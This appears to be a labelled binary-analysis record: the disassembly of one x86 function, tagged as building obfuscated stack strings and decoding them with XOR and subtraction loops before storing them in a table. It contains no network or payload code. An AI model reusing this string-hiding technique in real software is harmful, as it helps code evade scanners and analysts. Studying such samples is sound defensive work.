Function at 0x401c55
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x2b8
movaps xmm0, xmmword [0x41b1e0]
xor ecx, ecx
push esi
push edi
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x5156
mov byte [ebp - 0x10], 0
mov al, byte [ebp - 0x22]
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0x11
jb 0x401c89
lea eax, [ebp - 0x21]
mov byte [ebp - 0x10], 0
push eax
lea ecx, [ebp - 0x2b8]
call fcn.00401a09
push 8
mov al, 0x3d
mov dword [ebp - 0xb], 0x7279523d
mov dword [ebp - 7], 0x827f8170
xor ecx, ecx
mov word [ebp - 3], 0x7a
pop esi
movsx eax, al
and eax, 0x8000000f
jns 0x401cd3
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xa], al
inc ecx
cmp ecx, esi
jae 0x401ce1
mov al, byte [ebp - 0xb]
jmp 0x401cc4
lea eax, [ebp - 0xa]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00401a09
mov al, 0x70
mov dword [ebp - 0xc], 0x754d5c70
mov dword [ebp - 8], 0x4269746c
xor ecx, ecx
mov word [ebp - 4], 0x7469
mov byte [ebp - 2], 0
movsx eax, al
and eax, 0x8000000f
jns 0x401d1f
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jae 0x401d2e
mov al, byte [ebp - 0xc]
jmp 0x401d10
lea eax, [ebp - 0xb]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x288]
call fcn.00401a09
mov al, 0x5d
mov dword [ebp - 0xb], 0x79825a5d
mov dword [ebp - 7], 0x764f7681
xor ecx, ecx
mov word [ebp - 3], 0x81
movsx eax, al
and eax, 0x8000000f
jns 0x401d68
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xa], al
inc ecx
cmp ecx, esi
jae 0x401d76
mov al, byte [ebp - 0xb]
jmp 0x401d59
lea eax, [ebp - 0xa]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x270]
call fcn.00401a09
mov al, 0x1d
mov dword [ebp - 0xa], 0x7f4e691d
mov dword [ebp - 6], 0x867f7c7a
xor ecx, ecx
mov byte [ebp - 2], 0
movsx eax, al
and eax, 0x8000000f
jns 0x401dae
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jae 0x401dbd
mov al, byte [ebp - 0xa]
jmp 0x401d9f
lea eax, [ebp - 9]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x258]
call fcn.00401a09
push 6
mov cl, 0x7e
mov dword [ebp - 9], 0x130c3f7e
mov dword [ebp - 5], 0x70c11
xor eax, eax
pop edi
xor byte [ebp + eax - 8], cl
inc eax
cmp eax, edi
jae 0x401df3
mov cl, byte [ebp - 9]
jmp 0x401de5
lea eax, [ebp - 8]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x240]
call fcn.00401a09
movaps xmm0, xmmword [0x41af60]
xor ecx, ecx
movups xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0x13], 0x130419
mov al, byte [ebp - 0x23]
xor byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x12
jb 0x401e1a
lea eax, [ebp - 0x22]
mov byte [ebp - 0x10], 0
push eax
lea ecx, [ebp - 0x228]
call fcn.00401a09
mov cl, 0x13
mov dword [ebp - 0xb], 0x7b675613
mov dword [ebp - 7], 0x66766176
xor eax, eax
mov word [ebp - 3], 0x7e
xor byte [ebp + eax - 0xa], cl
inc eax
cmp eax, esi
jae 0x401e60
mov cl, byte [ebp - 0xb]
jmp 0x401e52
lea eax, [ebp - 0xa]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x210]
call fcn.00401a09
mov cl, 0xf
mov dword [ebp - 0xc], 0x766d530f
mov dword [ebp - 8], 0x606c6a7b
xor eax, eax
mov word [ebp - 4], 0x6166
mov byte [ebp - 2], 0
xor byte [ebp + eax - 0xb], cl
inc eax
cmp eax, 9
jae 0x401e9e
mov cl, byte [ebp - 0xc]
jmp 0x401e8f
lea eax, [ebp - 0xb]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00401a09
mov cl, 0x38
mov dword [ebp - 0xb], 0x4c417a38
mov dword [ebp - 7], 0x51575b5d
xor eax, eax
mov word [ebp - 3], 0x56
xor byte [ebp + eax - 0xa], cl
inc eax
cmp eax, esi
jae 0x401ed7
mov cl, byte [ebp - 0xb]
jmp 0x401ec9
lea eax, [ebp - 0xa]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00401a09
movaps xmm0, xmmword [0x41b470]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x6e706a7b
mov byte [ebp - 0x10], 0
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x401f12
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x13
jb 0x401f02
lea eax, [ebp - 0x23]
mov byte [ebp - 0x10], 0
push eax
lea ecx, [ebp - 0x1c8]
call fcn.00401a09
mov cl, 0x28
mov dword [ebp - 7], 0x50496228
mov word [ebp - 3], 0x50
xor eax, eax
xor byte [ebp + eax - 6], cl
inc eax
cmp eax, 4
jae 0x401f4f
mov cl, byte [ebp - 7]
jmp 0x401f40
lea eax, [ebp - 6]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00401a09
movaps xmm0, xmmword [0x41b350]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x18], 0x81707767
movaps xmm0, xmmword [0x41b3c0]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x6d6f7770
mov byte [ebp - 0x10], 0
movsx eax, byte [ebp - 0x38]
and eax, 0x8000000f
jns 0x401f9c
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x27
jb 0x401f8c
lea eax, [ebp - 0x37]
mov byte [ebp - 0x10], 0
push eax
lea ecx, [ebp - 0x198]
call fcn.00401a09
mov al, 0x6a
mov dword [ebp - 0x1d], 0x826b546a
mov dword [ebp - 0x19], 0x73562a82
xor ecx, ecx
mov dword [ebp - 0x15], 0x7e7c6f6c
mov word [ebp - 0x11], 0x83
movsx eax, al
and eax, 0x8000000f
jns 0x401fe7
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xc
jae 0x401ff6
mov al, byte [ebp - 0x1d]
jmp 0x401fd8
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x10], 0
push eax
lea ecx, [ebp - 0x180]
call fcn.00401a09
push 4
pop ecx
mov byte [ebp - 0xa], cl
xor eax, eax
mov dword [ebp - 9], 0x6b706558
mov dword [ebp - 5], 0x676d69
xor byte [ebp + eax - 9], cl
inc eax
cmp eax, 7
jae 0x40202e
mov cl, byte [ebp - 0xa]
jmp 0x40201f
lea eax, [ebp - 9]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x168]
call fcn.00401a09
mov al, 0x26
mov dword [ebp - 9], 0x757a6726
mov dword [ebp - 5], 0x696f73
xor ecx, ecx
movsx eax, al
and eax, 0x8000000f
jns 0x402062
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 8], al
inc ecx
cmp ecx, edi
jae 0x402070
mov al, byte [ebp - 9]
jmp 0x402053
lea eax, [ebp - 8]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x150]
call fcn.00401a09
movaps xmm0, xmmword [0x41b150]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0x7474697f
mov word [ebp - 0x12], 0x7c6d
mov byte [ebp - 0x10], 0
movsx eax, byte [ebp - 0x26]
and eax, 0x8000000f
jns 0x4020b1
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 0x15
jb 0x4020a1
lea eax, [ebp - 0x25]
mov byte [ebp - 0x10], 0
push eax
lea ecx, [ebp - 0x138]
call fcn.00401a09
mov al, 0x27
mov dword [ebp - 9], 0x767f4c27
mov dword [ebp - 5], 0x7a7c6b
xor ecx, ecx
movsx eax, al
and eax, 0x8000000f
jns 0x4020ef
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 8], al
inc ecx
cmp ecx, edi
jae 0x4020fd
mov al, byte [ebp - 9]
jmp 0x4020e0
lea eax, [ebp - 8]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x120]
call fcn.00401a09
mov al, 0x32
mov dword [ebp - 0xc], 0x63465e32
mov dword [ebp - 8], 0x71456a75
xor ecx, ecx
mov word [ebp - 4], 0x6774
mov byte [ebp - 2], 0
movsx eax, al
and eax, 0x8000000f
jns 0x40213b
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jae 0x40214a
mov al, byte [ebp - 0xc]
jmp 0x40212c
lea eax, [ebp - 0xb]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x108]
call fcn.00401a09
push 0x5d
pop ecx
mov byte [ebp - 0xb], cl
xor eax, eax
mov dword [ebp - 0xa], 0x352e3c19
mov dword [ebp - 6], 0x382f321e
mov byte [ebp - 2], 0
xor byte [ebp + eax - 0xa], cl
inc eax
cmp eax, esi
jae 0x402185
mov cl, byte [ebp - 0xb]
jmp 0x402177
lea eax, [ebp - 0xa]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0xf0]
call fcn.00401a09
movaps xmm0, xmmword [0x41b4f0]
xor ecx, ecx
movups xmmword [ebp - 0x21], xmm0
mov word [ebp - 0x11], 0x7b
movsx eax, byte [ebp - 0x21]
and eax, 0x8000000f
jns 0x4021bb
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0x10
jb 0x4021ab
lea eax, [ebp - 0x20]
mov byte [ebp - 0x10], 0
push eax
lea ecx, [ebp - 0xd8]
call fcn.00401a09
push 0x45
pop ecx
mov byte [ebp - 0xa], cl
xor eax, eax
mov dword [ebp - 9], 0x26312c07
mov dword [ebp - 5], 0x2b2c2a
xor byte [ebp + eax - 9], cl
inc eax
cmp eax, 7
jae 0x4021fd
mov cl, byte [ebp - 0xa]
jmp 0x4021ee
lea eax, [ebp - 9]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401a09
movaps xmm0, xmmword [0x41b200]
xor ecx, ecx
movups xmmword [ebp - 0x2d], xmm0
mov dword [ebp - 0x1d], 0x656e6267
mov dword [ebp - 0x19], 0x6a5c577f
mov dword [ebp - 0x15], 0x7f6e6767
mov word [ebp - 0x11], 0x78
mov al, byte [ebp - 0x2d]
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 0x1c
jb 0x402238
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x10], 0
push eax
lea ecx, [ebp - 0xa8]
call fcn.00401a09
push 0x12
pop eax
mov byte [ebp - 9], al
xor ecx, ecx
mov dword [ebp - 8], 0x63756359
mov word [ebp - 4], 0x6b64
mov byte [ebp - 2], 0
movsx eax, al
and eax, 0x8000000f
jns 0x402280
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 8], al
inc ecx
cmp ecx, edi
jae 0x40228e
mov al, byte [ebp - 9]
jmp 0x402271
lea eax, [ebp - 8]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x90]
call fcn.00401a09
movaps xmm0, xmmword [0x41b450]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x18], 0x7f6e7565
movaps xmm0, xmmword [0x41b380]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x6b6d756e
mov byte [ebp - 0x10], 0
movsx eax, byte [ebp - 0x38]
and eax, 0x8000000f
jns 0x4022db
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x27
jb 0x4022cb
lea eax, [ebp - 0x37]
mov byte [ebp - 0x10], 0
push eax
lea ecx, [ebp - 0x78]
call fcn.00401a09
push 0x28
pop eax
mov byte [ebp - 0xb], al
xor ecx, ecx
mov dword [ebp - 0xa], 0x6c6d694c
mov dword [ebp - 6], 0x7b7d7469
mov byte [ebp - 2], 0
movsx eax, al
and eax, 0x8000000f
jns 0x40231e
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xa], al
inc ecx
cmp ecx, esi
jae 0x40232c
mov al, byte [ebp - 0xb]
jmp 0x40230f
lea eax, [ebp - 0xa]
mov byte [ebp - 2], 0
push eax
lea ecx, [ebp - 0x60]
call fcn.00401a09
xor eax, eax
mov ecx, 0x270
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
call fcn.00401c16
mov esi, eax
lea edi, [ebp - 0x2b8]
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2a0]
sub eax, esi
mov dword [ebp - 0x40], esi
lea ecx, [esi + 0x270]
mov dword [ebp - 8], eax
mov dword [ebp - 0x3c], ecx
push edi
mov ecx, esi
call fcn.004025ee
mov eax, dword [ebp - 8]
lea ecx, [esi + 0x18]
add eax, esi
push eax
call fcn.004025ee
push 0x30
pop eax
add esi, eax
add edi, eax
lea eax, [ebp - 0x48]
cmp edi, eax
jne 0x402379
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], esi
call fcn.004028ab
push 0xd
mov dword [ebp - 0x40], esi
lea esi, [ebp - 0x48]
pop edi
push 0x30
pop eax
sub esi, eax
lea ecx, [esi + 0x18]
call fcn.00401a42
mov ecx, esi
call fcn.00401a42
sub edi, 1
jne 0x4023b4
lea eax, [ebp - 0x44]
push eax
call fcn.0040241d
mov esi, dword [ebp - 0x44]
test esi, esi
je 0x402414
mov edi, dword [ebp - 0x40]
cmp esi, edi
je 0x4023ff
lea ecx, [esi + 0x18]
call fcn.00401a42
mov ecx, esi
call fcn.00401a42
push 0x30
pop eax
add esi, eax
cmp esi, edi
jne 0x4023e4
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
sub eax, esi
push 0x30
pop ecx
cdq
idiv ecx
mov ecx, esi
imul edx, eax, 0x30
call fcn.00401bbe
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret